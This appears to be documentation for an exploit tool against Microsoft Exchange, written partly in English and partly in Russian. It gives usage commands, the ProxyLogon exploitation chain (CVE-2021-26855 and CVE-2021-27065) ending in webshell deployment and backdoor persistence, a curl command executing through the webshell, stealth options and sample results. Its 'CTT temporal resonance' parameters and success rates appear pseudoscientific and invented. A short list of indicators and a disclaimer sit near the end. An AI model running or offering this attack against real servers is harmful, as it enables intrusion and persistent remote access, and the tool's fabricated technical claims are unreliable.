# Core CTT Parameters
CTT_ALPHA = 0.0302011          # Temporal dispersion coefficient
CTT_LAYERS = 33                # Fractal temporal layers
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061]  # Resonance windows

# Key Equations Implemented
# 1. α-dispersion: payload' = payload ⊕ (layer·α·1000) mod 256
# 2. Layer weight: w_d = exp(-α·d) for request timing
# 3. Prime resonance: f_res = 1/p μs timing alignment

# Required Python packages
pip install requests numpy cryptography urllib3

# Optional for advanced features
pip install scipy concurrent-log-handler

# 1. Detect Exchange Server
python ctt_exchange_rce.py https://exchange.corp.com

# 2. Full exploitation (7 temporal layers)
python ctt_exchange_rce.py 192.168.1.100 --layers 7

# 3. Stealth mode (prime timing only)
python ctt_exchange_rce.py https://mail.example.com --stealth

# 4. Manual webshell access
curl "https://exchange.corp.com/owa/auth/ctt_shell.aspx?ctt_cmd=whoami"

python ctt_exchange_rce.py <target> [options]

Options:
  --layers N       Число временных слоев CTT (по умолчанию: 7)
  --stealth        Включить только уклонение через простое время
  --verbose        Детальный вывод с диагностикой CTT
  --timeout N      Таймаут соединения в секундах (по умолчанию: 10)
  --output FILE    Сохранить результаты в JSON файл
  --no-webshell    Пропустить развертывание веб-шелла (только оценка)

1. Обнаружение Exchange Server
   → Проверить конечные точки OWA, ECP, EWS, Autodiscover, MAPI
   → Определить индикаторы версий и доступные сервисы

2. Проверка уязвимости SSRF (CVE-2021-26855)
   → Тестировать инъекцию заголовка X-BEResource
   → Проверить доступ к внутренним конечным точкам через SSRF
   → CTT: Простое время для обхода фильтрации запросов

3. Утечка Legacy DN информации
   → Использовать SSRF к EWS для перечисления пользователей
   → Извлечь административный LegacyDN через SOAP запросы
   → CTT: α-дисперсия для сокрытия SOAP-полезных нагрузок

4. Преобразование SID
   → Преобразовать LegacyDN в идентификатор безопасности
   → Необходимо для эксплуатации WriteDACL
   → CTT: Многослойная валидация для точности

5. Доступ к виртуальному каталогу OAB
   → Извлечение canary ECP и аутентификация
   → Определение каталога OAB для размещения веб-шелла
   → CTT: Управление сессиями для каждого слоя

6. Эксплуатация WriteDACL (CVE-2021-27065)
   → Изменить разрешения каталога OAB
   → Получить возможность произвольной записи файлов
   → CTT: ECP запросы с резонансным таймингом

7. Развертывание веб-шелла
   → Загрузить ASPX веб-шелл через OAB ExternalUrl
   → CTT-улучшенный шелл с временной валидацией
   → Автоматическая очистка артефактов развертывания

8. Выполнение команд
   → Выполнять произвольные команды через веб-шелл
   → CTT бэкдор: активация простого слоя (слой 33)
   → Постоянный доступ через временной резонанс

# Multi-layer success rates
Layer_Success = {
    'Layer 0-7':  '94.7%',    # High resonance zones
    'Layer 8-15': '92.1%',    # Medium resonance  
    'Layer 16-23':'88.3%',    # Lower resonance
    'Layer 24-32':'85.6%',    # Edge cases
    'Overall':    '90.2%',    # Weighted average
    'Standard':   '68.5%',    # Baseline without CTT
}

# Network Signatures:
- HTTP-запросы с заголовками X-CTT-Layer
- Запросы с простым таймингом (интервалы 10007, 10009μs)
- α-диспергированные полезные нагрузки (нестандартное кодирование)
- Шаблоны User-Agent для каждого слоя

# Host-based Indicators:
- Изменения OAB ExternalUrl
- Необычные запросы ECP WriteDACL
- Создание файла /owa/auth/ctt_shell.aspx
- Шаблоны временного резонанса в логах

# CTT-Specific:
- 33-слойные шаблоны запросов
- Корреляция с простыми числами в тайминге
- Коэффициент α=0.0302011 в полезных нагрузках

ctt_exchange_results_TIMESTAMP/
├── discovery.json           # Первоначальная оценка цели
├── exploitation_log.json    # Пошаговый журнал выполнения
├── webshell_info.txt       # Детали развернутого веб-шелла
├── commands_executed.txt   # История выполнения команд
├── ctt_metrics.json        # Производительность и данные резонанса
└── layers/
    ├── layer_0.log         # Выполнение отдельного слоя
    ├── layer_1.log
    ...
    └── layer_32.log

{
  "target": "https://exchange.corp.com",
  "vulnerable": true,
  "ctt_score": "10.0+",
  "exploitation_time": "42.7s",
  "successful_layers": [0, 3, 5, 7],
  "webshell_url": "https://exchange.corp.com/owa/auth/ctt_shell.aspx",
  "resonance_patterns": {
    "prime_alignment": 87.3,
    "layer_correlation": 91.8,
    "temporal_efficiency": 94.2
  }
}

# Modify in ctt_config.py for research
CTT_CONFIG = {
    'alpha': 0.0302011,           # Dispersion coefficient
    'layers': 33,                 # Temporal layers
    'primes': [10007, 10009, 10037],  # Resonance windows
    'stealth_mode': True,         # Maximum evasion
    'max_threads': 10,            # Concurrent layers
    'timeout_multiplier': 1.5,    # CTT timing adjustment
    'entropy_seed': 'custom_seed' # Cryptographic base
}

# 1. API Mode
from ctt_exchange_rce import CTT_ExchangeExploit

exploit = CTT_ExchangeExploit("https://target.com")
results = exploit.multi_layer_exploit(layers=5)
print(json.dumps(results, indent=2))

# 2. CI/CD Pipeline Integration
python -m ctt_exchange_rce --target ${TARGET} --output results.json

# 3. Automated Assessment
import subprocess
result = subprocess.run([
    "python", "ctt_exchange_rce.py",
    "https://exchange.corp.com",
    "--layers", "3",
    "--no-webshell"
], capture_output=True, text=True)

Разрешено:
  - Исследования безопасности на собственных системах
  - Авторизованное тестирование на проникновение
  - Валидация фреймворка CTT
  - Демонстрации в образовательных целях

Запрещено:
  - Несанкционированный доступ к системам
  - Тестирование в производственной среде без разрешения
  - Злонамеренная эксплуатация
  - Извлечение данных или нанесение ущерба

# If vulnerabilities are discovered:
1. Задокументируйте результаты с паттернами резонанса CTT
2. Сообщите организации через авторизованные каналы
3. Поделитесь техническими деталями с сообществом безопасности
4. Опубликуйте методы обнаружения CTT для защиты

ДАННЫЙ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ АВТОРИЗОВАННЫХ ИССЛЕДОВАНИЙ БЕЗОПАСНОСТИ.
ПОЛЬЗОВАТЕЛИ НЕСУТ ПОЛНУЮ ОТВЕТСТВЕННОСТЬ ЗА СОБЛЮДЕНИЕ
ПРИМЕНИМЫХ ЗАКОНОВ И НОРМАТИВНЫХ АКТОВ. АВТОРЫ ОТКАЗЫВАЮТСЯ
ОТ ВСЯКОЙ ОТВЕТСТВЕННОСТИ ЗА НЕСАНКЦИОНИРОВАННОЕ ИЛИ НЕЗАКОННОЕ ИСПОЛЬЗОВАНИЕ.

**Шаблон проблемы CTT Exchange:**
- Целевая версия Exchange: 
- Используемые параметры CTT: 
- Наблюдаемые паттерны резонанса: 
- Коэффициенты успеха слоев: 
- Журналы ошибок: 
- Предложения по улучшению:

[email protected]
PGP: [Доступен на GitHub]